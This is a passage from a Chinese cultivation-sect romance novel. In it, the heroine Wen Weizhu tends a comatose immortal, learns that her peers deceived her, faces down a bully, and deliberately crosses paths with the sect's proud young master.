说着,少女侧头看向温微竹,眼睛闪着光,“他肯定没想到,这次惹到师姐,是踢到了铁板。师姐会教训他的吧?”
温微竹垂眸,随后抬眸看向身旁的少女,“那个人叫陈典?哪个峰的?”
“陈典,万青峰的弟子,现在也就筑基初期。”少女欣喜地将陈典的资料悉数说出来,“他每天都会去中堂大厅听课,每节课都听。可惜,天赋不行,光听课也没什么用,修为也涨不上去。”
如果说在凡人的世界里,努力能改变未来,但在修仙的世界里,天赋代表一切。
有天赋的,哪怕不学习,修炼也一日千里。
天赋一般般的,哪怕是埋头苦学,亦没有精进。
在修仙界努力唯一有用的,大概是那些天赋也不错,资源也不错的人,这样的人通过努力起码能超过与之有同等天赋的人。
“你很了解内门的弟子,你来宗门很久了?”温微竹的神色看起来漫不经心,似是与少女闲聊。
“我十岁就来了,我是我们村天赋最好的,当时爹娘敲锣打鼓把我送了过来。”
少女的神色黯淡下去,曾经她是村里的荣耀,如今,她只是修仙界里渺小的沧海一粟。
“我初来内门,还什么都不知道呢。”温微竹微笑看着少女。
温微竹的长相非常婉约,五官柔和,恰到好处的点缀在巴掌大的小脸上,给人感觉就是一个安静内敛宜家宜室的闺阁小姐。
她的笑容很有安慰人心的作用,少女黯淡的神色立刻亮了起来,对温微竹陡然亲近起来,“内门我熟,师姐若是有什么不知道的,都可以问我。”
温微竹看了一眼少女亲切挽过来的手,微笑着任由对方将她的胳膊抱在怀里。
“正好我想找一个人,师妹,你知道王鑫利这个人吗?”
“王鑫利?主峰王管事的儿子,王鑫利?”少女半抬着头思索一番,“不知道师姐是不是要找这个。除了这个,我想不起来还有叫这个名字的人。”
“主峰?”温微竹眉头一跳。
少女并没有注意温微竹的反应,跟温微竹解释:“就是永阳峰,宗主和少宗主所在的山峰。那里算是常阳宗的核心,能在那里做事,多少都得有点靠山。”
温微竹在小路上慢慢踱步,十分随意地问:“王鑫利现在在主峰做事?”
“他一直在主峰做事啊,毕竟他爹是那里的管事,权力大着呢……师姐,怎么啦?”
温微竹顿了一下脚步,脑海中闪过云萃峰种种荒芜的景象。
温微竹的视线不由自主望向云萃峰的方向,这是她一直以来的习惯,思考问题的时候,视线就会自动寻找云萃峰。
一阵风从身后吹来,吹起了温微竹青色的衣角,吹乱了温微竹一丝不苟的头发。
温微竹挽发,回眸,朝少女露出温婉笑意,“没什么,只是忽然想起主峰的少宗主,少宗主修为应该挺高的,却还会去食堂呢。”
“是啊!听说少宗主特别喜欢食堂的伙食,他只要待在宗门,一日三餐,必在食堂现身!”即便周边没有人
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,少女也凑到温微竹的耳边,跟温微竹八卦。
“师姐,我跟你说,食堂很多的人,特别是女弟子,大多是冲着少宗主去的。”少女虽然满眼星星,却没有多少爱慕成分,“身份、相貌、天赋,都是一等一,不知道什么样的天仙才配得上少宗主。”
温微竹对那个天仙不感兴趣,只打趣少女:“你也是冲着少宗主去的?”
少女羞涩一笑,拍了温微竹胳膊一下,辩解:“才不是呢!我就是去吃饭的好吧。”
少女嘟着嘴,露出这个年纪才有的娇憨,八卦地看向温微竹:“师姐,你问少宗主,难道也是拜倒在少宗主的魅力之下?刚才在食堂,少宗主跟你说话了吧?你们说什么了?”
令少女八卦心破碎的是,温微竹回答得轻描淡写:“碟子碎片差点刮到我,他就来问一下。”
少女八卦的双眸肉眼可见的暗了下去,不过温微竹马上就满足了她的八卦之魂,“少宗主今日因食堂菜色问题发脾气,以后他还会不会去食堂很难说。想在食堂见少宗主一面的女弟子估计要另谋出路了。”
少女并不知道食堂具体发生了什么,当时少宗主周边围着很多人,她在外围只看见里三层外三层。
听温微竹说少宗主以后可能不去食堂,也忍不住感慨:“那难了,少宗主可不是想见就能见的。”
温微竹眉毛轻扬,“少宗主不去上课吗?上课应该能碰到吧。”
少女回:“上吧,不过只有通识课偶尔会去。毕竟少宗主这样的,有的是长老一对一教学,用不着跟乌泱泱的弟子们挤。”
温微竹点头,“说的也是。”
“师妹,”走到小路拐弯处,温微竹喊了一声,“我有事要走了,下次再见。”
少女还在讨论少宗主的话题里没缓过神来,迷迷糊糊道了别,等反应过来,她连师姐的名字还没问呢,师姐的身影早就消失不见了。
温微竹寻路去凌剑峰,那是胡司敬所在的山峰。
想从王鑫利手中要回物资这条路已然断裂,现在她唯一能想到应急的,就是找胡司敬借,之后再想其他办法弄灵石。
一路问询,找到胡司敬的院子。
胡司敬与陈青叶正背对着她在吃小灶,两人腿贴着腿,头挨着头,很亲近地说着什么。
温微竹走近,正准备开口,意外从两人口中捕捉到她的名字。
只听得陈青叶说:“其他人会不会透露消息给她?”
胡司敬肯定回道:“不会的。知道这件事的人很少,无息仙尊都昏迷两年了,根本无人关注。之前王管事光领物资,连看都没怎么去看,也没人发现。以温师妹那沉闷的性子,内门又没认识的人,她上哪知道去。”
陈青叶点点头,赞同道:“你说的也是。等那活死人真的死了,她就算辩解也没用,反正人就是在她照料的时候死掉的。当初我还以为她不会那么容易跟我进内门,害我为了演戏给她看,哭那么认真。”
胡司敬也顿了一下,“我也没想到,她平时看起来不争不抢的,结果一听说能去内门,还特意追我追到内峰门口,甚至……”
胡司敬突然收了音,陈青叶不解追问:“甚至什么?”
胡司敬舔了舔嘴唇。
他觉得那会温微竹甚至色诱了他。
不过,他知道他若是这么说了,陈青叶肯定要生气,因此他赶紧敷衍道:“甚至开口请求我,你见她开口跟人求过什么吗?平时看起来和蔼可亲的模样,实际跟个哑巴一样沉闷寡言。”
“别被她那张脸骗了,实际上,她冷漠得很……”
陈青叶后面的话,温微竹没有再听下去,她沉默地转身离开了凌剑峰。
5. 未知好心人
回到云萃峰,温微竹替床上那个万事不知的人翻了个身,将后背褥疮处重新上药。
一切做完,温微竹坐在床前,望着床上这具已然半截入土的身体。
无息仙尊重伤昏迷前已经是渡劫期,正常来说,就算昏迷,他身体的灵力也能维持他的身形不变。
可眼前的人头发雪白,瘦骨嶙峋,躺在床上,没有人照料,便与凡人一样,身体会溃烂腐败。
他体内的灵力已经消散。
若继续这样下去,很快就会迎来死亡。
温微竹放在床边的手不自觉捏紧,当她不经意看到一丝血色染红了青色的床单时,才恍然回神。
张开手心一看,血色糊了满手,看着手心密集的月牙形伤口,温微竹没什么感觉,只是突然想起,修士似乎可以互传灵力。
她是杂灵根,对自然界灵力的感知非常弱,自身对灵力的掌控也几乎接近于无。
温微竹抓起无息仙尊骨瘦如柴的手,将自己的手心覆盖上去,闭上眼睛,用心感受体内灵力的流动。
体内的灵力缓缓流动,每当灵力流过手掌心,温微竹竭尽全力想要控制灵力从手心钻出,灵力却完全不听她的使唤,依旧在体内按照既定路线流淌。
试了半个来时辰,温微竹浑身早已湿透,却没有半点成效。
看来凭她微弱的灵力,想要给他人输送灵力,属于天人说梦。
温微竹擦了擦额头的汗,走出房间,直接用凉水沐浴了一番,随后又烧水,用温水替无息仙尊擦了一次身。
盛夏的暑气蒸腾,温微竹披散的湿发很快烘干。
云萃峰顶微风轻拂,温微竹又细又软的发丝顺着风向轻拂。
院子里杂草茂盛,知了在树梢没完没了地聒噪,温微竹凝视着眼前的一切,又什么都未落入瞳仁之中。
灵石。
灵石。
灵石。
她需要灵石。
温微竹站在院落之中环顾四周,肉眼可见之处,没有半点有价值的东西。
贪墨云萃峰物资的是王氏父子,而拿走无息仙尊这院子里值钱之物的,又是谁呢?
从袖间拿出木簪,将头发挽起,袖口绑紧,温微竹将整个院落地毯式修整了一遍。
两天后,整个院子焕然一新,而温微竹除了收获一颗貌似是灵草的杂草,与一窝鸟蛋,毫无所获。
温微竹站在无息仙尊房间的墙壁前,整个房间一贫如洗,唯一值钱的东西,只有挂在墙壁剑架上的这把剑。
听说有剑灵的剑会认主,除了主人,其他人都无法让其出鞘。
温微竹搬来一个小凳子,站在凳子上将剑拿下来。
无息仙尊受伤昏迷之前,性子清冷,天人之姿,就连佩剑,也镌刻着繁复精美的图案,握在那清癯骨节分明的手中,美轮美奂。
温微竹没心思研究手中之剑繁复的图纹,拿下剑的第一时间,就试着往外拔。
毫无疑问,纹丝不动。
温微竹试了各种办法,依旧未动分毫。
这大概就是哪怕被洗劫一空,这把剑也留在这里的原因。
将剑丢在桌案上,温微竹坐在凳子上揉了揉酸痛的肩膀。
天色渐暗,温微竹趴在桌案上,手指无意识摩挲着剑鞘的图纹。
冰冷的触感,与废铁给人的触感没有区别。
主人半死不活,名剑便也犹如一堆废铁。
就叫你废剑吧。温微竹想,反着她也不知道这把剑叫什么名字。
将废剑丢到床头,望着床上一个半死人,一把死剑,再盖个棺,就跟坟墓差不多了,实在相配得很。
温微竹心中烦闷,便趁着夜风在院子里散步。
一只灰不溜秋的鸟在光秃秃的院子里飞来飞去,温微竹看了一会,随后装作没看见,继续在院子里来回散步。
不知过了过久,想来是那只鸟终于想明白,它的窝是被院子里多出来的这个人搞没了,便飞到温微竹的面前,嘎嘎叫个不停。
这叫声,真难听。
估计是只乌鸦。
就没一个吉利玩意。
温微竹这么想着,走到屋檐下,指了指屋檐角落里,她用几块木板搭的简易小屋,道:“在这。下次别在草丛里搭窝,小心被老鼠吃掉。”
灰乌鸦嘎嘎叫两声,开心地窝在了自己的蛋上。
温微竹盯着它看了会,灰乌鸦滴溜溜的眼睛转了几圈,随后在窝里转了转身子,拿个屁股对着温微竹。
温微竹:“……”
算了,她不跟个畜牲生气。
被灰乌鸦这么一打断,温微竹躁郁的情绪也散了。
很累,这几天几乎没有好好休息,温微竹打了个哈欠,先不管了,睡个觉再说。
第二天,温微竹出现在了振平峰的中堂,镇平峰是常阳宗所有山峰中最平坦的山峰,相当于宗门的学堂集聚地,所有的课堂都在这座山峰展开。
温微竹来得很早,课堂之中只有少部分弟子三三两两围坐在一起或闲聊、或探讨。
室内课堂是一个很宽敞的大厅,整整齐齐摆着桌子与凳子,来听课的弟子只要随便找个地方坐就行。
在常阳宗,中堂大厅的课,所有常阳宗的弟子都可以来听。
温微竹站在门口,盯着门口墙上贴的七天一滚轮的课程表看了半天。
忽然从身后传来一个温润的声音:“过会是严长老的阵法课。”
温微竹循声回头,说话之人却已经进了课堂,只留下一个与众人无异的素青色背影。
探讨之中的众人瞥见那人,热情招呼着他坐下,那人淡淡笑着,很快融入了探讨的人群中。
温微竹凝视着那人的侧脸,思索一番,随后视线重回课程表,最后看了几遍整个课程表,在断断续续进入课堂的人群中,找了个偏后的中间位置坐着。
说不上是运气好还是运气差,这堂课正好讲的是无息仙尊身下的那个清洁阵。
温微竹听了半天,一知半解,最后下课后得出结论,不论她是否理解这个阵法的原理与绘制,横竖摆在那的清洁阵,需要的是灵石。
下课了人群三三两两散去,温微竹望着讲台发了会呆。
温微竹能感觉到之前指点她这节课课名的弟子从她身旁离去时瞅了她一眼,但她仍保持着茫茫然的神色望着讲台的方向。
没一会,人群散得差不多,温微竹不出意外地听到了那个熟悉的声音。
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“哟,这不是高升师妹吗?我这几天可是战战兢兢等着你的那位师弟的交流呢,人呢?人呢?”陈典装模作样将手放在额头上,定睛朝已经走空的课堂四处看。
温微竹淡淡抬眸,撑着案几,眉眼弯弯道:“师兄怎么确定你这几天的忐忑不安,风声鹤唳不是我那位师弟对你的惩罚呢?看看,师兄的黑眼圈可是很明显呢,这几天没睡个好觉吧?”
陈典闻言,黑沉着脸,目露凶光,拽住温微竹的衣领将她提起来,咬牙切齿道:“你说什么?你是说你这几天什么也不做,然后还消失不见,是故意的?”
“你说呢?”温微竹眨巴眨巴眼睛,任陈典拽着她的衣领,好整以暇道:“这世间惩罚千万种,不是只有师兄这种暴力行为才算哦。”
本来跟在陈典身后打算看好戏的狐朋狗友一个个脸上笑容消失不见,都用看怪物一般的眼神看向温微竹。
陈典拽着温微竹衣领的双手青筋暴出,他硬生生压下想要将眼前之人挫骨扬灰的冲动,腮帮子几乎咬出血问:“带你来内门的人,到底是谁?我真想知道是谁让你有这么大的底气。”
温微竹垂眸,看向右侧方的地面,随后耸耸肩,含笑看向陈典道:“师兄可以试着去问问王管事,兴许王管事能给师兄一个满意的答复呢。”
“王管事?”陈典皱眉,如果是王管事经手的人,那这人背后的靠山多半是主峰的人。
陈典还在思考中,他身后的一个弟子拉了拉他的手,劝道:“别惹她了,赶紧走吧。”
陈典心有不甘,还想说点什么,奈何好几个人都拉着他,想将他拉走。
被松开的温微竹从凳子上站起来,整了整衣裳,温温柔柔道:“陈师兄别急着走呀,听说陈师兄每堂课都不落,我正好有件事想问问师兄。”
被拉走的陈典顿住脚步,眼里露出略微惊恐的神色,脱口而出:“你调查过我?”
如果之前陈典对这个女人嘴里的话还将信将疑,那么此刻,他确定,在这个女人在已经掌握了他信息的前提下,却迟迟不来报复他,就是想要折磨他,让他焦虑不安,杯弓蛇影。
温微竹却无视陈典的话,走到陈典近前,友善又恳切地问道:“陈师兄,你知道少宗主会固定上什么课吗?”
“你还想打少宗主的主意?”陈典瞪大了双眼,“你疯了吧,你也不看看你什么身份,一个外门杂灵根,爬床上位……”
温微竹凝眉,陈典吓得立马噤声。
“少宗主固定会上灵物百科、剑道、灵界地理志,就这三门。”陈典撂狠话般语速飞快地说完,仿佛这样自己的气势就还在。
“谢谢师兄。”温微竹冲陈典温婉一笑,仿佛两人是友好相处的朋友,她甚至挥手跟陈典道别,“下次上课见。”
待温微竹离去,其他人齐齐打了个冷颤,劝陈典道:“陈师兄,你以后还是不要再招惹这个女人了,太可怕了。”
陈典不想回顾刚才自己的怂样,他心中实在憋屈。
不就是一个外门上位的杂灵根女人,他怎么能怕了她呢!
“不行!我要去问问王管事,我倒要看看,她到底什么来头!”陈典甩了甩袖子,不顾众人阻拦,朝主峰的方向走去。
6. 接近少宗主
温微竹拿着一本从藏书阁借的《万千灵物详解》坐在课堂的过道边百无聊赖地看着。
灵物百科这门课比较枯燥无聊。
本来上课的人比较少,但由于这节课是少宗主必定会来的课,因此每次上课都是满座,甚至还有好些个人挤在一起,只为能在这节课上见少宗主一面。
温微竹第一次来的时候,被拥挤不堪的课堂吓到,还以为自己看错了时辰。
确定是自己小瞧了女弟子对少宗主的追捧之后,温微竹果断放弃了挤进课堂,绕道去了藏书阁。
手中的书讲解得很详细。
温微竹看得入神,不知不觉人越来越多,直到听到一片尖叫声,温微竹朝着声源看去,正好看见人群中领头的少宗主。
少宗主正侧头和旁边的人说着话,出乎温微竹意料的是,与少宗主说话的那名弟子,正是前天提示温微竹课名的那名弟子。
温微竹眉头不由一扬,垂眸,继续望向手中的书籍。
栗烈察觉到跟他说话的于文峥眼神忽然顿了一下,顺着他的视线看过去,看见一个一手撑着头闲闲翻着手中书页的女弟子。
正是外门厨房那个前掌勺。
栗烈分不出是得瑟还是厌烦地轻嗤了一声。
当他从温微竹身旁大摇大摆路过时,不经意看到她正在看的书。
栗烈的脚步虽然没停,视线却不由重新扫了一遍那书。
确认自己没有看错之后,栗烈嘴角扬起一抹笑意。
栗烈愉快地在自己的位置坐下。
于文峥在最初捕捉到温微竹身影时有片刻惊诧,只一眼,他就收回了视线,全程跟在栗烈身后。
栗烈看向温微竹手中书籍的视线自然被于文峥尽收眼底。
于文峥也留意了一下,待看清楚那本书的内容,他瞬间就明白了栗烈脚步变轻快的原因。
这个温师妹不简单啊。
看来接下来有戏可看了。
坐在自己专属座位上,心情肉眼可见比前两天开心的栗烈侧头一看,正看见于文峥朝着他,露出一个神色怪异的笑。
栗烈嫌弃地皱眉,“你个死变态,笑那么恶心干什么?”
没管理好自己表情的于文峥连忙收拾好表情,露出温和笑意,“没什么,为你高兴。”
“高兴什么?”栗烈盯着他问。
于文峥:“……”
“我刚才忽然有预感,你有好事要发生。”说完,于文峥还朝栗烈挤眉弄眼。
栗烈:“……”
他决定不理睬这个死变态。
一节课结束,温微竹在少宗主面前露个脸的任务已完成,便收拾书籍,顺着人流离开了课堂。
当栗烈磨磨蹭蹭起身的时候,一回头,发现早没了温微竹的身影。
以为会主动凑过来的人却早早跑没影了,栗烈直接一脚踢倒他身旁的凳子。
于文峥也没想到,温微竹都做到这份上了,竟然刷个脸就跑了,忍不住在一旁幸灾乐祸地笑。
栗烈正在气头上,于文峥还在一旁火上浇油,他凶狠地瞪向于文峥:“笑什么笑!”
“没什么啊。”于文峥看天看地,实则是看栗烈吃瘪,心里乐开了花。
栗烈哪能不知道于文峥看他笑话,当即扬起手中的剑威胁道:“我看你是想挨揍。”
于文峥抬手推脱,“别,别。”
他扶起被栗烈踢倒在地的凳子,对栗烈提出的不友好交流敬谢不敏。
“你要练剑去找修剑道的去,我修的是阵法,跟你不是一个路数。”
随后于文峥又意有所指道:“下午我还要去上阵法课,不知道能不能看见新的师妹呢。”
栗烈完全没注意到于文峥的话外意,纯纯不想理这个说话总是绕山路十八弯的人。
下午阵法课,如于文峥所料,他见到了那个“新的师妹”。
这节课的温师妹,换了一本入门的阵法书籍在看。
于文峥若有所思,有些拿不定这个温师妹的真实目的。
总不能对方真的想来学习吧?
杂灵根有什么好学习的?学了也没用。
于文峥摇了摇头,觉得自己想多了。
身边师兄弟们见于文峥兀自沉思又摇头的,问:“于师兄,想什么呢?这么入神。”
于文峥坐下,伸出一左一右的手问:“刻苦努力与走捷径,你们会选哪个一个?”
众人毫不犹豫双手握住于文峥的右手,恳切道:“当然是走捷径,求于师兄带我走捷径。阵法真不是人能修的!”
于文峥抽回自己的手,擦了擦,嫌弃道:“捷径路太窄,只够我一人,你们就羡慕嫉妒恨去吧。”
众人嘁一声,各自落座。
温微竹瞟了一眼人群中谈笑风生的于文峥,无意识咬了下杵在下巴处的小拇指。
于文峥之前就注意到了她,为了混淆视听,她才特意来了阵法课。
但也有可能于文峥根本不在意这个。
温微竹没有想到会遇到于文峥这个意料之外的人。
还不知道会不会对她的计划有所影响。
阵法课后,温微竹想着快点回云萃峰,在课堂门口看见陈典一行人。
陈典两天没出现在她面前,温微竹都差点忘记这个人了。
对方隔着不远距离看见她,随后装作没看见,快步离开。
温微竹意外挑眉,她只是试探一下,结果倒出人意料。
她垂眸掩住眼尾的笑意,转身回云萃峰。
与陈典一起的人忍不住好奇问:“陈师兄,你前两天不是去主峰问那人背后的靠山了吗?到底是谁啊?”
“是啊,是啊,回来一个字也不提,是地位很高的人吗?”
“看你一直躲着她,她的靠山不会真的很厉害吧?”
众人七嘴八舌一顿问,陈典不耐烦道:“不知道,反正惹不起就是了。你们以后看见她,都躲远一点。”
陈典也很憋屈,他是憋着一口气腆着脸找王管事问的,结果王管事在听到温微竹名字时,冷着脸打量了他一番,冷冷地警告他:“别动她。”
临走了还警告他:“管好你那些总是闹事的朋友,让他们都不要去惹温微竹,听见了吗?”
陈典经常欺负那些杂役弟子,而杂役弟子都
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归王管事管,他与王管事之间肮脏的交易也不少,以往王管事收点好处睁一只眼闭一只眼,事情就过去了。
这还是第一次,王管事这么严厉对他。
陈典很不爽。
温微竹他动不了,有的是其他人能动。
温微竹并不知道她无法成为目标,有的人就成了目标受害者。
她回到云萃峰,替无息仙尊翻身,将伤口继续上药。
这几天无息仙尊身上的伤口已经有所好转,原本灰白的脸色也有稍微有了些人气。
无息仙尊那把剑,还放在床头没有动。
既然宝剑有灵,陪在主人身边,双方应该都比较开心。
此时的温微竹还不知道正是这把剑滋养着无息仙尊,才短暂延续了无息仙尊的生命。
第二天的灵物百科课,温微竹还是早早地坐在之前的位置。
手中的这本《万千灵物详解》写的很不错,每一种灵植与灵兽介绍详尽,同时配备惟妙惟肖的图文,完全可以当灵物字典。
她都有种冲动找找这书上会不会有她在院子里留下来的那唯一一株草。
毕竟那是她现在唯一可能一夜暴富的希望。
只是这书实在是厚,温微竹想想还是放弃了,干脆踏踏实实地从前往后仔仔细细地看。
当温微竹看得入神的时候,她的前座忽然坐了个人,坐下的人动作嚣张,撞得她的桌子前后晃动。
温微竹眉头轻蹙,抬头一看,看见那束起的高马尾与雪白底绣金色锦纹的外衫。
少宗主?
温微竹低头敛眉,藏起眼眸里一闪而过的惊讶。
被栗烈撂在过道的于文峥一脸震惊。
他瞟了一眼坐在栗烈身后的温微竹,见对方垂首看书的动作丝毫不变,似乎对前座之人的到来毫无感觉。
于文峥真心觉得他应该时常备一把瓜子在兜里,好准备随时吃瓜。
他十分好脾气地绕道进到中间的座位,坐在栗烈的左手边。
整节课,人群都窸窸窣窣讨论少宗主为什么换了一直以来的御用座位。
甚至严长老看见栗烈专座空无一人,还以为栗烈缺课了。
直到栗烈举手彰显了一下存在感,严长老才不明所以地问出了大家都想知道的问题:“今天怎么坐那里去了?”
“没什么,新鲜。”栗烈后背倚在温微竹的桌子上,抱着双臂,不顾众人殷切好奇的目光,回答得十分我行我素。
严长老也不追究,继续讲课。
这一次,严长老一说下课,温微竹都还没反应过来,栗烈就起身,从温微竹座位旁边擦身而过,离开了课堂。
扬长而去的身影,潇洒又昂扬。
温微竹:“……”
合理怀疑,栗烈坐在这里,是为了掰赢上一回离开得慢。
温微竹收拾完书,从座位上站起来时,后知后觉地被少宗主那幼稚的好胜心给激起了胜负欲。
正琢磨着下一步,却在离开中堂的时候遇见了温微竹已经忘却了的人。
那人眼神灰败,没有了少女的灵动,圆润的双眼只有对眼前之人的怨念。
7. 与少宗主心理博弈
少女的目标显而易见,怨念的对象也明确清晰。
温微竹没打算避开,迎着少女的方向,朝她走去。
她的态度自然,姿态放松,仿佛对少女浓到成形的怨念毫无感应。
走至近前,温微竹如故人相见般温柔开口:“找我?”
少女凝视着眼前之人,对方走过来的每一步都是那么从容,眼神温和,没有愧疚,没有心虚,仿佛自己没有丁点过错。
“师姐是不是忘了答应过我什么?”少女质问,不过她不需要对方回答,因为紧接着,她又用陈述的语气的语气强调了一个她认定的事实:“你没有教训陈典!”
“没有”两字几乎是咬着牙说的。
温微竹凝眸,少女的愤怒质问对她毫无攻击力。
“我有没有教训陈典你又如何知道呢?难道陈典会因为我教训他而不欺负你吗?”温微竹迎着少女的目光,微风轻拂她的额发,那张极具欺骗性的温婉面容却冷漠至极,“你在责怪我什么呢?”
少女瞳孔放大,简直不敢相信对方说的话。
“我们难道不是一类人吗?当你有机会从泥潭里出去的时候,难道不应该拉同类一把吗?你怎么可以这么冷漠自私!”
少女的情况几近失控。
她幻想着终于能得到拯救。
最开始的几天,陈典确实没有再找她麻烦,可是……
怎么会呢?
师姐明明都说了会教训陈典的啊!
他为什么还要来欺辱我呢?
“冷漠自私?”温微竹挽起耳边的乱发,轻轻问:“陈典是在我来之后才欺负你的吗?”
少女身心一震,忍不住后退一步。
温微竹轻笑一声,“看,你也知道,你被欺负这件事,与我没有任何关系。你只是在等一个圣人,一个能救你于水火的圣人。而你以为我会是那个圣人,但可惜我不是。”
少女瞳孔巨震,她这么多年的屈辱忍耐在这一刻成了笑话。
她总想着,总有一天,陈典会遭到报应,这样她就可以从这永无止尽的欺辱打骂之中解脱。
她以为她终于等来了。
可结果,对方不是。
那她还能等到解救她的那个圣人吗?
她所有的逆来顺受,自我安慰,还会有一个解脱的尽头吗?
她所构建的那一丝光明,难道只是天际的幻影吗?
如果在无尽黑暗里,等不来光明,那她还能坚持下去吗?
她要怎么坚持下去?
眼前的少女在盛夏的夕阳中瑟瑟发抖,虚假的幻想打破,温微竹有片刻的失神,从少女的身上仿佛看见了一个熟悉的身影。
她不由自主地往前,将手放在少女瘦削单薄的肩膀上,凑到对方的耳边,轻声呢喃:“在弱肉强食的修真界待了这么久,你怎么还没明白,能救你于水火的圣人,只有自己。”
少女愕然抬头,温微竹却已后退一步,迎着风,目光遥远深邃,“你要明白,就算这个陈典有人帮你灭了,那下个陈典呢?下下个陈典呢?人只要活着,就会遇见无数个陈典,谁的人生里,会有圣人常驻呢?”
温微竹趁着风,望向云萃峰的方向。
更何况,圣人也不是无坚不摧。
这世间,人外有人,山外有山,困难后面还有无数困难。
在第一个绊脚处摔倒,然后一直等人来扶起。
那么,后面的困难,一个也别想跨过去。
“想摆脱陈典,就自己动动脑子。”温微竹说完,扬长而去。
回到云萃峰的温微竹坐在无息仙尊的床头,脑海中很多东西纷至沓来。
她觉得这样不行,沉浸在过往对自己一点益处也没有。
于是,温微竹果断站起来,走出房间,在院子里散步。
灰乌鸦现在白天依旧不见踪迹,每到晚上倒是准时回到温微竹给它搭建的窝里呆着。
灰乌鸦听见温微竹推门出来,伸着脑袋看温微竹,等和温微竹对上眼,立马又转了转身子,拿屁股对着温微竹。
温微竹:“……”真不想看见这么个玩意!
云萃峰盛夏的夜晚很凉爽,没有多余小动物的山头很安静。
光秃秃的院子里只有一株不知是否有用的杂草。
夜晚的风轻拂再皮肤上,有一种沁人心脾的感觉。
温微竹喜欢这种宁静。
也许以后有机会,她就找一个类似这样的山头隐居……
一想到屋内还躺着的无息仙尊,发现自己想太多。
灰乌鸦见温微竹沉浸在自己的思绪中,压根不搭理它,就转过去来,脑袋跟着她从东转到西,又从西转到东。
后来温微竹注意到的时候,忍不住吐槽:“你也不怕脖子断掉,睡你的觉去吧。”
教训完灰乌鸦,温微竹也回屋躺着了。
一晚上没睡的后果就是第二天提不起一点精神。
温微竹拿着书去上课的路上,不停地打哈欠。
她最近都很缺觉,以后晚上坚决不能熬夜了,身体实在撑不住。
温微竹抹掉眼角因哈欠而噙的泪,想接下来的安排。
昨天因为少宗主幼稚的好胜心而升腾起的那点不合时宜的胜负欲早已消失殆尽。
也是那少女给她提了个醒,她现在可不是那种能斗那种幼稚气的情况。
她还等着灵石给无息仙尊续命呢。
但是她今天状态实在不好,如果这节课跟少宗主搭上话,她不确保她有足够的精力去灵机应变。
权衡之下,温微竹选了个靠边的偏僻位置坐下。
今日就简单刷个脸吧。
而栗烈来到课堂,没在一进门就看到的位置上看见那个熟悉的身影,身形霎时一顿。
人呢?
没来?
跑了?
栗烈眼神在整个课堂里逡巡了一圈,终于在边边看见了那个埋着头的身影。
栗烈眼眸暗了暗,唇角不悦地压了压,连走路的步调都重了起来。
将手中的剑重重地放在桌子上,栗烈将自己的桌子椅子踹得嘎吱作响。
温微竹被人群骚动声与清脆的撞击声闹醒,望向少宗主专座上,那个气呼呼的身影。
好吧。
殊途同归。
她成功地与少宗主斗上气了。
温微竹头疼地揉了揉太阳穴。
少宗主心情不好,于文峥成了最大受害人。
受害人心情不爽,决定让加害人也不爽。
他捡起被少宗主踢翻在地的椅子,凑到栗烈的身旁,状似无意道:“嗐,你说那温师妹知道她一直在看的书是你编撰的么?”
想起温微竹认真看书的模样,栗烈神色稍霁,只可惜,下一刻又因为于文峥的话阴云密布。
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“依我看,她肯定不知道。”于文峥言之凿凿,“昨天你离她近点,她今日立马吓得躲角落里去了。她胆子这么小,肯定不敢当着你的面看你的书,她就不想跟你扯上关系。”
“我堂堂常阳宗少宗主,和我攀上关系得是多大的荣幸。你要不要听听你在说什么屁话。”栗烈神色不虞,强行挽尊,“而且不知道是我编的书却看那么认真,更说明这本书非常棒!”
于文峥内心冷笑,凉凉道:“你要不要回顾一下你那本书的战绩?”
栗烈不想回顾。
刚编出来的时候,栗烈渴望得到认可。
时常去藏书阁偷偷查看翻阅记录。
翻阅记录没有,借走记录一大本,栗烈暗自窃喜,但翻开记录之后,一脸难以置信。
原来是宗内女弟子听说是少宗主编的书,一个一个的都以借书的名义把书借走,之后又以丢失的名义赔灵石了事。
一本两本丢失还能理解。
几十上百本丢失就有问题了。
栗烈那会还是纯好奇,去问藏书阁登记弟子原因。
登记弟子磕磕巴巴解释,原来是那些女弟子将他的书私藏了。
就很生气。
之后,他就定了规矩,这本书可以借,但不能丢,一旦丢失,要赔偿巨额的灵石。
这之后,他的书,就……
没有销路了。
栗烈不想起来还好,一旦想起来就越想越生气。
于文峥见栗烈吃瘪,总算出了一口恶气。
但栗烈又积攒了一堆恶气,只能找于文峥发泄。
于是于文峥在毫无防备的情况下,被栗烈踹了一脚凳子,于文峥在众目睽睽之下,一屁股蹲坐在了地上。
于文峥咬着牙,忍着屁股尖剧痛,从地上爬起来。
好啊,互相伤害是吧!那来吧!
拍了拍屁股上的灰,于文峥狞笑着坐回座位,搭着少宗主的肩膀,凑到少宗主的耳边,告诉少宗主一个扎心的事实。
“你知道温师妹除了上这个课,还上什么课吗?”
成功收到栗烈警惕的眼神,于文峥心情畅快,脸上不显,自问自答道:“她没去上剑道课,没去上灵界地理志课,但是去上了阵法课。”
于文峥故作不解,“温师妹为什么要去上阵法课呢?不明白啊,真是不明白。难道是冲着我去的?可馋她厨艺的又不是我……”
成功被激怒的栗烈一把拽住于文峥的衣领,咬牙切齿道:“下课后去比剑吧!一决生死!”
“别……”
于文峥话还没说出口,栗烈就打断他:“和你比剑,是有些欺负你,那就比阵法,你的强项。”
于文峥整个人都裂了。
还不如跟我比剑!阵法我是必修,可你是天生自带啊!
不,跟你比什么我不都是自己找死嘛!
他本来只是想摸摸老虎尾巴,这下好了,他碰上虎须了!
天要亡我!
“栗烈,等等,我觉得这事还有得商量。”于文峥赶紧自我挽救。
栗烈已经松开了于文峥的衣领,冷冷道:“已经没有商量的余地了,下课后,你我一决生死!”
为什么一定要一决生死,切磋不行吗?
多大仇多大恨啊。
于文峥心中抹泪,他就不该图一时之快。
这下好了,小命危矣!
8. 少宗主主动邀请
于文峥觉得自己还可以抢救一下。
他凑到栗烈的身旁,求生欲满满地说:“栗烈,我跟你说,我刚才话还没说完,我的意思是说我又不馋温师妹厨艺,她冲我来也没用,是不是?”
栗烈冷着脸看着于文峥,一脸我就静静看你表演的模样。
“我跟你说,温师妹的最终目的肯定就是你,但是她又太谨慎,想从我这里迂回前进。”
栗烈依旧冷着脸,不为所动。
于文峥只得加大剂量。
“我觉得主要还是温师妹不知道你欣赏她的厨艺!她要是知道你去食堂晃了好几次找她,她肯定立刻毛遂自荐,甘愿当你的专属厨子!”
“我才不是去找她。”栗烈嘴硬,但神色已经有所松动。
于文峥在心里吐槽:你不是去找她,你一天三次什么菜不点,就光去食堂晃,不是去找他,是去干什么?巡逻吗?
